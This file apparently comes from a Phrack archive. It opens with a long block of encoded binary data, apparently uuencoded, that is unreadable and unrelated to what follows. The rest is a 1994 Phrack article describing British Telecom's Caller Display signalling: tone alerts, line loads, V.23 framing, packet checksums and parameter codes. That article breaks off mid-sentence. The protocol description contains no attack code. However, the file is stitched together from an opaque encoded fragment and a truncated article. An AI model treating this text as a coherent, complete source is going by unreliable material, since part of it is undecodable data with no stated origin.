M91=T6S,&"QFW1+;;A1%A5&#T`ZD],?C]:F6"&))#;V2I*XW(648#8ZDCKU]^! M]9W:‑+(;]A‑Q,9IHX$/W6=P"Q'U/3H/SK29+'38A)/:M=RK\YQ\VW'.0.G%)8 M28FNQA6=UJ*:A(+;2K**R,C']R‑K,,^O<]*W[9G6`%HO*)Y'(R>A.2:J;5[W3 M!+N.1_+:,%F"C[GSEF)]>O\`G%5M+O#<12*L20,&Y4`''3G.?K[U`QEU‑+:0& M;YY$"Y*A'8`+VRV.W(SCI7.ZY?WDL0:"&64Q@;]B9`QGG'N?Y5<$FR9.RNCAM MKBYEN;D8+;LX7/7‑30V‑[<PM<^5(43"[\<#/3GI7H:11R:R9(L*N‑SSL79R,1 M8^4>_O4B:+*3A760@9ZCC_ZU1S\I2A<@:&2‑@H=2",X4<?2I8KF*W)9+9"?4V M_,:;UV!:#FN+"12)('20DG>6Z>PID=K#<$&‑U7_9W<TKRCN.RD,>PQ,R`$$`G M=N>:8=.N`RC'S'/&?2J51=27#L16]Y=6OSVTI3/=:G?6)YF)NP+C/:3C^6*;D M@F[]1*30C7EM*A3[‑%%SGY<@?7K4<D5NP!1\D\G)P*%S(‑&1,@0X3&#W!J/9E M&3RK'\<52))4N2B[(Y)$7H<&G%UE.Z2[D8CIE*5K=!W'.860E?*`1<<J<M439 M)#O^5@P(XXQBC4‑".3:AY11CTYJ"0XX"@52$Q8;B6+=Y+E=PPV#U%"R,D>PA? M2,Y&1T/UZT6079*EW,%\MCO0]G&16_;:U$EK)M@22ZD7;YK#''ICTZUC4IWVU M‑:<[;F=+J,A,K1BW0$D<)R,]AWJ?3X))K\F2TRNTY/F;?F]<^_I2:48[C3;9F MLQ6EU;SW`EDM8%)&0C_,PSP#^E2PW$5M',)3Y@RS#$>U8L\X)Z$USOWMC=:;@ MD0FT^^/D+*9GD`^XO`]C4$5M;Z?,1;2‑&S,%1_‑`&['0=OSJES+W6*R>I<N;@ M^WC$3M@AF/WUZCJ>#QZ>E17&OZ>)F67<67.0F1S@#`P<8Q4JG)[#<XK<8MQI4 MU^&WV;PE@&4LX42`^G//>JES;Z.S!C<)&IZG=G/Y5I%SB[;D‑0:NP3P[I]T@7

M>WNV*‑T((/\`.J+^'G#$(9&5>K;<BM%6=[‑$.BNA`V@W`*@,IW#/7`_,XI\W. MAZXC5#%^]R.2&`VG\:T]M$GV+‑>)SIZ_)&\;.,,Q`&?8$<GH>33EOE$?SHR!# MB6Y/+<#\A_GO7‑:^IJM‑!L5\X7<\68T'0.<EC^6>]0M/?7`,ZW,H5220LN`2, M?4^WH/TII).[$VWH3_;+B$/OG"OT+*3@$YR<G_(‑5TDGPZQ;G)`W.Q'+<G‑)A M)#NQL#RM&#=21N,XV(F[@G]>],:XD\U@?W,8^;RX3ESVR3T`_P`XJ[*Y‑W8=D M'<3S,A>2,`@LYE?=D\GDXYSP.*3[3<?:/.N9R9@I"I$‑J)GCG/7KBE9!=DEH= M)%B4MN4@'9';KP3Z<\'L?P‑)]LO'5("$C5FW[1@L<8`'H,_Y]RR;'JD02K&D+ MT=Q<‑*^[+.NPXQQP#GCKV_K4D\5]=A8((1"TI9RJD<+V'/0#^=.ZT;)UU2(89 M8[BQC,5Q=;8Y#\R`YQ@=3R,XZ8YJ8ZM&;RWE@,[8;&"^69<#(('X#'3WXIM<C MVJ0D^569IM+*MK+<SQ(&?YBC8'R_W68]?]T?K3]*O;R*!(+2SBC1P26==J\=_ M>.IQD=<5C9‑/70UN[C6C6:XA:\BB(+%L)RK#`X(SC^?05N&]2+9&B+$B_+GDN M#:!T"BHEK9%I6U9#'JUA9".WM[<R1M\Q*K_#T'/K_2IEOX&:*5[3#;CMVL1UY M/IT!J>5K5CNBXFHM*1ML<C&]G=@!Z#`]?\14,FOVEG=E2ZE^A,;<<8R,GJ>:X M2BWL%TB(ZL9Y\?9_*1,MO!#$GM^%6(]6;R75(61`1^]D(.0`<D@=NOOBBP$<3 M.HM.X"QI)"/F;:W7GYFR>.N!CWZ^L$\MUJ‑UM:6*.VC(&R.(MC@J",\=_P`*% M$DGJ#%:)[HRHMA;11QDE;B?YR,=PN/KZ\U!I^E3+<7$^HK'##D[+:",9;'W=Z MQ]>1Q_*J4DE9LEK70T([PR0‑O2*‑50K,@D+[/3YP.HYS_.C^WK"S5%^TQ2L&! MPY()8KCMM!YJ>5O8J]BK#JUC=‑]KCGWRQIMVG/S`?[.:T5UB‑,11QL)%VNXB" M4<^_)HE%H+IBV=U<O$[/'+$D?+,0N0QR"%`)]#5%KN+4,3B3;,C%$C+8*\X!6 M/Y?K22'L2:C=NJ;;B7859<8.&!XZ'K^55(‑1@TF+R[56AMXSR53`;MG+8S]!0 MGOTIJ+:LA.R,]+BZN[X2N27D0@``$C)_B//&<#@\T_5&U*WTZ‑;=I(A$</&DO

M@"L,C`..?48XX`K5<J:1#O8XN.9[:Y+R1+(02"LG/YUI3:]/=@1KN2,C+Q*BQ MA`QXRJ^N,#/6NJ4+M,YE*RL:VE164>F;S#Y\N,F‑>#GGD\8'3ZU%=%EM5)M_6 M+@5#O']XYZ=>@P>O4]JPN^;4WLE'0E,,#Z=]J6WE6‑C^Y,K8+MZ`#/''6L<V` M4I16D01A\X&"2OM@9‑5"5MR91OL5YK<QK\K&12P5<*1Z^O\`GFI)K"73U$DX5 M"[A@%2#^?6M>9;&?*Q9HKRV,=U/!‑&"05=FQP<X_'`/Y5‑O>55+;[:.;]V7'Z M1MJX"CUQQG_Z]2[;HI7V9‑;Z;:R"ZN%^T+!"01F,'<,\XQW_`$HN=$1Y?*M8@ M;IWS@L8SM'OG'05'M6GJ5[‑6*;^'=048%I‑GD?ZL_P`Z@&C:B2!'973'O^Z(8 MK958/J9.G)$T>A:Q(3LTZ=MIP25Z&M"V\':Q)<A+BT\E3@EF9<*/7@U,JT$M0

MQJG)[FW'X+@@8^;*'7_:3&3]<G`J)O#]M&(E$L2*<$DKU&<=3^/:N?V[9NJ2W M11N?#KRL/)C.&`50%!P3DY^G!Y_2L#5=,FTN?RY<$D9&/2MZ56[Y3*I3Y=2@O MQ;;T‑‑=CC!'XUT&`T<=*4#'UH`‑Q':E5B!@$B@`R<\4XM(=IW'Y>!STI`3@W\ M31\F0H!W/`H2\G1N&.<YSUY_QJ;195Y(G;5KI@BM<2%4.0">,T‑?3S;]US(‑& MY^8%S@_A^7Y4O9Q70KG?<2YNKAA$?M%P^SE3OR`>^!54SAE;,\Y)[$\'ZTU%9 M+9";;W+.GZ@UL?+C$2[\`R39;9[\<X[]ZE@M[!KPFZOU<##,51MKG/(SM_I^T M‑2TXMM*[*33LF:XEMM*TCS[0/(A=E1IEQO\`<`=,>]16&J:A?RJL;9+<'"\(2 M/7(]:QY$TY2‑N>S447FCNK:61@99'QN"EF);'7``[>YJ5KT!`9'=BI^957G\& M:BR>QHG8H1WS&`Y1D/0OEL*,^N<_I5H77E0_/^\"?,RYP_\`GI^=‑Q,TRM<ZI M@D=K=(CH%9EPRPC(]MQJ12(HED=HL$;458L'\!GJ?6G:R!.[+,GV8;9)HHF,L M@.UL#@XZ#T[8IN8EW(_D?..(X2<Y]">YQ4:E%>.WLMB+$%CD([%R1W)Z\<?SMJ=]‑LMO[J(!6'S,A8#!S^/;]*;E)"Y8DRZ5:,T40A!`^^V[!SCG`Z>E)'IT4, M<@;:BK)]X.P8$_7_`#TJ7‑C4$.O(K>016IN70JW`5]^`>"3CUQU‑2_9+215=G MP.%)!+X..VWIZTKM(=E<AN‑):XN(V#2J"NS$+`D#.<'W)[^E%NME$9[>W@+O$ MC:QCG(8X_7MVJN9M60N5)EI$‑LA:WL!;%`0[R@2,`>X[+CGUJ+[%$ZG?<M))M*V054)GOCCH.GTQ4\WS'RW'36>FKE99I>#T5B2".O`]N]6[>*Q63:BACT*E2V MQ'4X[C]:3<FAI),FFE@*&)2D1VXQNR5`'/R_3O5/["L,:,BJJN"%1BSL^,DD) M'/H1P/:DG;0;0JPPVT,=U)NA+D*(VP.Q/0D^X^E0SZLK6UNKV8+RO@%FP<\]W M!Z].GYU23D2W86*^M(+AUEMPBQ\HTCY9OU)Y/I56XET]+UI1'$D3?.SE<L2"/ M,!%!YY]?7VH2DGH)M6U)FL)+YHKNW6ZM]RD*/,QM7&?F)Z#V&<YK,OM0U326;

M,9N97<_><P_*`#U!^IQTIP2D^5A‑\JYD.M[[6?‑CFL=22:9<MY8YZ'T/U[TEE MS>ZU‑<"SNK6.624F18>`#D]0`>>E7:%^Q%Y>IKZ5=:@DZ‑>201D8;:L88J#W! MST&<XZ']#3=0N‑6O'F%E;I;6PSM5F#,QR`%#'J?0#%9^Y?R‑/>L55G*1!;K3( MY99C&&A22;S!CN<9K5TR\ADLW6737MKN%‑_`#%>>&R>V,]>/PHDM+I@GK:PP[ MR1WNI"*XC,BLJC:\(R">N".2?RZ&J^H0?91NT2*:/.WS7>0>2P/0\Y]>*$];R M/8&M‑#4T\7,T/DZS="9XI/D55"J2/3D$\Y[4V2STV*9+H74D9RN)4XR,87``L MY/O]*B]G[JT*MIJ3V.G:)"JH\JR.#M$DS#.X=!R>WI[47.E1WRHD=^ZHL85)B M4A&(Q[‑[Y[4N=WNPMI82/PW.9\W%VDD*2"1(FR%R.K?X57;PY<W$+0RO"T'V^ MCS,#Y6<#^]C@GG\,4U42V$XB_P#"(6WF?ZE5"LY8E1^\W=N#V^E4(O`]NC;I6 M/,<J,%!@!CD'()_*J5>2)=*+‑$^&6)1?,ECMD;<%BE"\$#Y3@<\J*LS>'K>95 M8H)4R`RL6`W8`4YSZ^N/4YJ>:^Q5DAD^F6JVO]GQ‑+&J*VY<`(NXYZ]N_&3TV M]*JZAH#PV\[(9[O=<@)#&%C*#IP23DD''\ZI:;B+`CTZV\MC;1"1%51$!YC$V M`#@#IR2!G'7G‑5]/T]='MV22]EDC5SL#X`!;KG'6H<W9E**(K[5)6+SO;1"PG M1BRRRJ6W8&=R^O?&/Z5%8ZW;HUM'';%BQV1F2/;CG!^G3^7I3Y';<+I.QM'7# M(+4^2Z_O2N]5SM)7G&/7I3++5;>XFD9F(+GY1G!P./ZUG9V*L:JWL*(‑THY_3 MVA4@N8F4DL?;N*5Q‑%;[4FXPQ^;Y8Y,F,+GZYJRLT!@&)!(.V.?U%.XK&%JQ+ M3428`\D90<2)(592W3IU)Q[U1DLYI[=7CFE4LZE8XU5Y,=R7/^'\ZM.RU'8TN M+SR(`TURYMH/+$BL`21ZDGIGG''J:\^NM=6;5)[R:".YW@A/‑[>A[]/2ML/!? MN[,:TK6,XN)X@NS;AF8E5R>0/3'''X5"P,@RB'"KDX'2NU:'*R/.#1TZFJ$6T M[G3+RUM8[B>!DB<!D8XY![U4'Y4DT]AM‑;AGGI5B*6!2=RN/3!%#OT!$K3V[= MA`^_Y>H7^*G1W%FH(\I@Q/!)S46ET+YH]2PGV*;C<H/&`14PT^‑A^Z"2>P‑1A MS2CN6HQ>Q"^GNI+>5^[QG(.::]O$$)5GC?'\0.1^5/FOL+DL5Q:3X#+(CY[8& M_P`14;"6,%F;RCG`ZKFK33(<6@;S‑H1Y"ZCD*')_2B.1DC9(YI$8GE%X'US^C M55I;86J!7N"VP3,`3GYGXK174I$C1`\'R\Y1,?Y‑1**9<9‑%9/NI_NFIH?\`< M6‑_US;^=3(<2RG_(2?\`W:AM?^/Z'\:@;(=5^[_P%?YU#+_Q\Q_[R_SJX[(EZ M[G27?_(0UG_L(2?^AFDA_P"/R?\`ZX#^=8&R*UC_`*C_`+9G_P!"‑)IO_+]_V MUV/_`*$*;ZDKH:5U_P`@FS_ZZR5R]]_Q[6O^])_.G1_K\1U=C6L/N0_6/^1I? M;?\`X]&_W9/Y)28GNAES_P`>K_[XKL‑‑^X?]QO\`T`UG4^$U6Y#>_P#(7B_Z) MY2?S%‑U7_CYM_P#KE'_Z!41Z#[D7B?\`Y!U]_NG_`‑!%2:?_`,M_^O>3_P!&# M&A?`@E\1D7/_`"%‑0_Z[_P!#4T_4_P"]_05;(1EW?^KE_P![_P!E‑7O`W_(2Y MC_ZZK_.M)_PV2OC1V+?ZB/\`WW_FE.7_`)#4O_75OY"N)['0MS#TG_7R?[R__ MRJSJ7_(&_P"WX?\`H)JG\0/8R?#_`/QZ'Z/_`.A5U<'^L;_<G_E53^(2^%&#\ MX?\`^/.[_P"OD?\`LU+J/_']9_\`763^9H?Q_P!=AK8U;G_C]/T/\J?#_P`A$ M)?\`?/\`.LP*=K_R$=3_`.O=OYM69KO_`"&+#_=2M8_$*1'HOW1]6_\`0FK5V MN?\`D,R_]=%_D:4_C!;(UHNL?^[_`$JQ9]?SK)[@]A\?WI/J*NQ?Z^/\/Y4TQ M)CY^@^E‑/W&JEN+H0V__`!\CZ'^E<CJ'_(3UOZP?^C!6U,.I7UG_`(^+K_KKA M#_Z.>GR_\M/^NA_E4O;^NR&MRWXD_P"0AIO^Y_[‑7(S_`/(/A_Z[/_[+5PZ?3 MUW(74BU+_D88_P#KM5R[_P"0[??[K?R‑5T7H+K\RNO\`QX3_`/78_P`EKI/^1 M6]S_`,"_]!%9U#2(Z'_5Q_\`7,_SJ[8_Q_Y]*R9H:*=&^G]:HVW_`!^R?]=OE M\:A=1&;%_P`>5K](?YBN*LO^0S_VT:NRC]HRJ[HR)OOCZ_UH7[XKN.$LVO\`I MJYO]RK6@_P#(4M?^NJUG+9FL/B1TGCW_`)"`_P!T_P!:XE>U31^!!4W$[&G]; MQ]*V,QR]'_W?ZT^3_5GZ+4E%R#[Z_0?RJ]9?ZMO]ZL9;&\337[T7T_I277^J2 JA_W?ZUS]4:O8P)?];)]!_*H)_NI^‑=B.610%+6ID.B_I2G[Z_44#`/_9J ``

A Guide To British Telecom's Caller ID Service

==Phrack Magazine==

Volume Six, Issue Forty‑Seven, File 19 of 22

A Guide To British Telecom's Caller ID Service

By DrB0B

(DrB0b@grex.cyberspace.org)

Introduction:

Whilst caller ID services are old news to American readers, to UK phonephreaks they are a new and potentially exciting addition to BritishTelecom's network services. Many people will have already read articles describing CNID, almost invariably these articles have been based on systems utilizing Bellcore's CLASS signalling requirements, it should be noted that while BT's Caller Display System is also based on CLASS there are some significant technical differences. I have tried to make the information in this article as comprehensible as possible, unfortunately the telecommunications industry is one of the most jargon‑infested industries in the world so if you have any questions about anything in this article don't hesitate to contact me at the above address, I'll do my best to help. BT hope to have their Caller Display Service available by November 1994.

LATE NEWS: Today, Nov 1st 1994, BT announce that caller ID services would be withheld for a while longer as the public are too stupid to understand what it means, I swear I'm not making this up. According to BT newsline (0800 500005) "The public failed to comprehend that caller display services meant that caller number would be transmitted with every call, nor did they understand that CDS could be blocked on a per call basis by using the 141 prefix, or on a per line basis by arrangement with BT. Go figure ! New date for service launch is towards the end of November.

(1) What is Calling Line Identification Presentation.

When BT introduce their Caller Display Service over the analogue local access network the first service available will be Calling Line Identification Presentation (CLIP), this provides for the delivery of the callers number when a telephone call arrives, in the near future it will also provide the callers name. When the callers name or number cannot be delivered then one of two reasons for the failure will be displayed, (1) name or number not available (the caller has an unlisted number), or, (2) name and number withheld by customer (this is done by the caller dialling 141 before dialling the called number, this results in the message "CLI Withheld" being displayed on the recipients equipment). In addition to caller identification the CLIP service can also deliver network messages, the time, date, and, (optionally), some indication of call type.

As noted above callers can choose to withhold CLI information by using the prefix 141, users should be aware that this has no effect on BT's ability to trace a call, the 141 prefix is a service activation code whilst call tracing is an operator function.

(2) Some Necessary Definitions

From here it gets a bit more complex, your mileage may vary. It's probably best if I define some of the terms to be used before going any further.

Line Reversal

The potential difference between the two wires of the exchange line (A+B) will always be equal to or greater than 15 volts. An incoming Caller Display message will be preceded by a polarity reversal between the two wires.

Idle State Tone Alert Signal

Signals sent in the idle state will be preceded by a Tone Alert signal and a Channel Seizure signal. Terminal equipment may recognize the Idle State Tone Alert Signal by the detection of both frequencies together, or by detection of a single (the lower) frequency. In the case of single frequency detection the recognition time should be not less than 30ms, if both frequencies are detected the recognition time can be reduced to not less than 20ms.

Fig 1. The Idle State Tone Alert Signal

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Frequencies | 2130 hz and 2750 hz +/‑ 1% |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Received Signal Level | ‑2dBV to ‑40 dBV |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|AC and DC load impedance | AC load is high impedance as |

| | required by NET4 |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Unwanted Signals | Total power of extraneous signals|

| | in the voice band (300‑3400hz) is|

| | at least 20dB below the signal |

| | levels |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Duration | 88 to 110 msec |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Note: NET4 is European Telecommunications Standard ETS 300 001; Attachments to PSTN; general technical requirements for equipment connected to an analogue subscriber interface in the PSTN).

DC Load

NET4 requires that the total of terminal equipment on a line shall not draw in excess of 120 microA in the idle state. The Caller Data Service terminal equipment may, as an option, draw DC of up to 0.5 mA par device at 50 V line voltage, but only during CDS idle state, otherwise the conditions of NET4 apply.

DC Wetting Pulse

In order to improve reliability of idle state data reception (by reducing noise), it is mandatory that the terminal equipment shall draw a short pulse of current from the line by applying a resistive load for a specified time.

(3) Signalling

For an understanding of the processes involve we need to have some understanding of the four layers used in Basic Mode communication. Basic Mode communication covers transmission of data between network and terminal equipment, either before ringing is applied or without any ringing, transmission is either down‑stream (network to terminal equipment), or up‑stream (terminal equipment to network).

Physical Layer: This defines data symbol encoding and modulation, and analogue line conditions.

Datalink Layer: This defines framing of messages for transmission and a simple error checking procedure.

Presentation Layer: This defines how application‑related information is assembled into a message.

Application Layer: This defines the application that uses the signalling. In this case Calling Line Identity Presentation.

Now we'll go into a little more detail about each of these layers.

Physical Layer:

Signalling may occur in either the idle state or loop state. We won't discuss loop state signalling here, as it's not pertinent at this stage. An incoming CDS call is indicated by a polarity reversal on the A and B wires, usually followed by ringing current applied to the B wire. The Terminal Equipment responds to the Idle State Tone Alert by drawing a DC wetting pulse and applying a DC load and an AC load. The DC wetting pulse is applied during the idle period following the end of the Idle State Tone Alert signal. The AC load is applied at the same time as the DC wetting pulse. It is removed after the end of the V.23 signals. The DC load is applied and removed at the same time as the AC load impedance. On removal of the DC and AC loads the CPE reverts to the idle state. For some applications the Channel Seizure may be delayed by up to 5 seconds, either or both silent periods may be extended in this case.

If a terminal equipment loop state condition is detected the CDS message is aborted and the call presented as a non‑CDS call. All data transmitted by the physical layer consists of 8‑bit characters transmitted asynchronously preceded by one start‑bit and followed by one stop bit. With the exception of the mark signal immediately following channel seizure there should be no more than 10 stop bits between characters.

Values for octets are given in the following format:

S2 M B7 B6 B5 B4 B3 B2 L S1

(Order of bits S1 first S2 last)

where S1 = start bit

S2 = stop bit

M = most significant bit

L = least significant bit

B* = bit numbers 2 to 7

Octets are transmitted with most significant octet first.

Datalink Layer:

The datalink layer provides framing of data into packets that can be distinguished from noise, and has error detection in the form of a checksum.

Fig 2. Datalink Packet Format

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Channel |Mark |Message |Message |Message |Check‑ |

|Seizure |Signal |Type |Length | |sum | | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

^^^^^^^^^^

Presentation

Layer

Analysis of the fields in a Datalink Packet:

Channel Seizure

The channel seizure consists of a continuous sequence of alternate 0 and 1 bits at 1200 bits/s. The purpose of channel seizure is to minimize the possibility of noise mimicking a genuine carrier. The length of channel seizure as seen by terminal equipment is at least 96 bits (80 msec). It may be longer, up to 315 bits (262 msec)

Mark Signal

The mark signal seen by terminal equipment is at least 55 bits (45 msec) of continuous mark condition (equivalent to a series of stop bits, or no data being transmitted).

Message Type

The message type is a single binary byte. The value depends on the application.

Message Length

The message length is a single binary byte indicating the number of bytes in the message, excluding the message type, message length, and checksum bytes. This allows a message of between 0 and 255 bytes.

Message

The message consists of between 0 and 255 bytes, according to the message length field. This is the presentation layer message (explained later). Any 8‑bit value may be sent, depending on the requirements of the presentation layer and the application.

Checksum

The checksum consists of a single byte equal to the two's complement sum of all bytes starting from the "message type" word up to the end of the message block. Carry from the most significant bit is ignored. The receiver must compute the 8‑bit sum of all bytes starting from "message type" and including the checksum. The result must be zero or the message must be assumed to be corrupt.

Presentation Layer:

Fig 3. Presentation Layer Message format

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Parameter|Parameter|Parameter| ... |Parameter|Parameter|Parameter| |Type |Length |Byte(s) | |Type |Length |Byte(s) |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The fields Parameter Type, Length, and Byte, together describe one presentation layer parameter, and may be repeated.

Parameter Type will be discussed more fully in the next section. Parameter Length is a single binary byte of a value between 0 and 255. In Basic Mode a complete message must be contained within a single datalink packet, this means that the total length of presentation layer parameters must not exceed 255 bytes.

Parameter Byte(s) contains zero or more bytes of application related information. The information contained in this parameter should be encoded in BT ISDN Character Set IA5 format.

Parameter Type:

There are eight parameter types associated with CLIP

Fig 4. Parameter Type values

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Parameter Type Value | Parameter Name |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 00010001 | Call Type |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 00000001 | Time & Date |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 00000010 | Calling line directory number (DN)|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 00000011 | Called directory number |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 00000100 | Reason for absence of DN |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 00000111 | Caller name/text |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 00001000 | Reason for absence of name |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 00010011 | Network message system status |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The calling line directory number is the number of the line from which the call was made, or a substitute presentation number. The called directory number is the number that was called. This is of significance when the call has been diverted.

There may be parameters of other types present. the call type parameter, if present will always be sent first, other parameters may be sent in any order. at least seven of these eight parameters must be recognized for the CLIP service (Called directory number is not necessary). Parameters may be sent with zero length. In such cases parameter length will be zero and the checksum will be correct. Parameters are usually encoded in IA5. The version used is a 7‑bit code and is sent in 8‑bit bytes with the most significant bit set to zero. Non‑displayable characters (codes 0‑32 decimal) are not used. In the tables following byte number 1 is sent first followed by byte number 2 and so on.

Call Type Parameter

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Byte Number| Contents |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 1 | Call Type Parameter Type Code |

| | (00010001) |

| 2 | Parameter Length |

| 3 | Call Type |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Call Type Encoding | Call Type |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 00000001 | Voice Call |

| 00000010 | ring‑back‑when‑free‑call |

| 10000001 | message waiting call |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If the call type parameter is omitted then the call type is "voice call". Additional Call Types may be defined later. Other call types, ie FAX, will be used when they are available. The "message waiting" call type is used to give an indication of a new message from a specific caller.

Time and Date Parameter

The Time parameter indicates the date and time (+/‑ 1 minute) of the event associated with the supplementary information message. Where the call type has a value 127 (01111111) or less, then the time is the current time and can be used to set internal terminal equipment clocks and calendars. For a call of type "message waiting" the time and date refer to the time message was left or recovered. For other call types with value 128 (10000000) or greater, the time and date may refer to some unspecified event and not necessarily current time.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Byte Number | Contents |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 1 | Time & Date parameter type code |

| | (00000001) |

| 2 | Parameter length (8) |

| 3 | Month |

| 4 | Month |

| 5 | Day |

| 6 | Day |

| 7 | Hours |

| 8 | Hours |

| 9 | Minutes |

| 10 | Minutes |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Calling Line Directory Number Parameter

The maximum length of number sent is 18 characters. The first digit sent is in byte 3. The Calling Line Directory Number is a number that may be used to call back the caller, or the same service. It may not be the directory number of the originating call, for example, an 0800 may be associated with the caller. Where an alternative to the directory number of the caller is sent this is known as a Presentation Number. There is no indication of which type of number is sent, this may change.

If only a partial number is known then that partial number may be sent. This will be followed by a "‑". For instance, where a call comes from outside the digital network the area code may still be sent and shown as:

0171‑250‑

or, (under the new national code) for an international call from France;

00 33‑

assuming the new international access code of 00.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Byte Number | Contents |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 1 | Calling Line Directory Number | | | Parameter type code (00000010) | | 2 | Parameter length (n) |

| 3 | First digit |

| 4 | Second digit |

| . | .

| . | .

|n+2 | nth digit |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Reason for Absence of Directory Number Parameter

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Byte Number | Contents |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 1 | Reason for Absence of DN parameter type |

| | code (00000100) |

| 2 | Parameter length (1) |

| 3 | Reason |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The reason will be one of the following BT IA5‑encoded values "P" = "Number Withheld"

"O" = "Number Unavailable"

Called Directory Number Parameter

The Called Directory Number is the telephone number used by the caller when making the call. The maximum length of characters sent is 18, the first digit of the number is sent in byte 3, the second in byte 4 and so on.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Byte Number | Contents |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 1 | Called Directory Number Parameter | | | type code (00000011) | | 2 | Parameter length (n) |

| 3 | First digit |

| 4 | Second digit |

| . | .

| . | .

| n+2 | nth digit |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Caller Name/Text parameter

At the launch of the service the Caller Name will not be available, the parameter will contain text only.

The Name/Text consists of between 1 and 20 BT‑IA5 characters. The parameter may be used for other information when no name is available.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Byte Number | Contents |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 1 | Caller Name/Text Parameter type code |

| | (00000111) |

| 2 | Parameter length (n) |

| 3 | First digit |

| 4 | Second digit |

| . | .

| . | .

| n+2 | nth digit |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Reason for Absence of Name Parameter

The reason will be one of the following;

